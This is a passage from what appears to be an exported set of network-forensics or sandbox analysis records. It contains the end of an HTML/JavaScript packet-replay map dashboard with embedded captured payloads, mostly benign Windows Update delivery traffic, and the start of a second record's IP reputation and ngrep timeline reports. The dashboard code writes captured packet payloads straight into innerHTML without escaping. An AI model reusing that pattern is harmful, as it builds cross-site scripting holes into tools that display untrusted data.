67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047\", \"payload_ascii\": \"{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpG\"}, {\"packet_number\": 7, \"timestamp\": 1784455807.784336, \"timestamp_iso\": \"2026-07-19T15:40:07.784336\", \"timestamp_human\": \"2026-07-19 15:40:07.784\", \"size\": 914, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"128.251.172.13\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 54766, \"ip_len\": 900, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64011, \"tcp_seq\": 4115186805, \"tcp_ack\": 3210930734, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 860, \"payload_preview\": \"534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \"SM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}, {\"packet_number\": 9, \"timestamp\": 1784455817.704881, \"timestamp_iso\": \"2026-07-19T15:40:17.704881\", \"timestamp_human\": \"2026-07-19 15:40:17.704\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"128.251.172.13\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 54767, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64011, \"tcp_seq\": 4115187665, \"tcp_ack\": 3210930734, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1784455817.705232, \"timestamp_iso\": \"2026-07-19T15:40:17.705232\", \"timestamp_human\": \"2026-07-19 15:40:17.705\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"128.251.172.13\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64011, \"tcp_seq\": 4115187666, \"tcp_ack\": 3210930735, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 2, \"FIN\": 1}, \"packet_sizes\": [66, 54, 3470, 914, 54, 54], \"inter_packet_intervals\": [0.00032711029052734375, 0.2652440071105957, 0.07199501991271973, 9.920544862747192, 0.0003509521484375], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 10.258461952209473, \"avg_packet_size\": 768.6666666666666, \"packets_per_second\": 0.5848829998056109, \"bytes_per_second\": 449.5800658505796, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 66, \"avg_interval\": 2.0516923904418944, \"min_interval\": 0.00032711029052734375, \"max_interval\": 9.920544862747192}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a5cafb6b3bed57e0e7378fa"},"sha256":"e632a474347f7e231beff070ce83413f9062dfc361fcdab25e0a3fb67a0326fc","timestamp":{"$date":"2026-07-19T16:36:30.274Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n77.95.69.5,77.95.69.5,HTTP Host,0/70,Neutral,No,External\nhttp://77.95.69.5,77.95.69.5,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_c097wivg.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:64029 -> 77.95.69.5:80 [AP] #4\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 77.95.69.5.\n.\"\n0.0,NGrep,##,\"Payload: T 77.95.69.5:80 -> 10.152.152.11:64029 [AP] #6\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Sun, 19 Jul 2026 10:57:19 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nVia: 1.1 varnish.\nAge: 34.\nX-Served-By: cache-par-lfpg1960031-PAR.\nX-Cache: HIT.\nX-Cache-Hits: 10.\nX-Timer: S1760461247.700891,VS0,VE0.\nX-CID: 10002.\nX-CCC: 947c058f-2b1f-4d71-abe0-33402c636729.\nContent-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: STALE.\nAccept-Ranges: 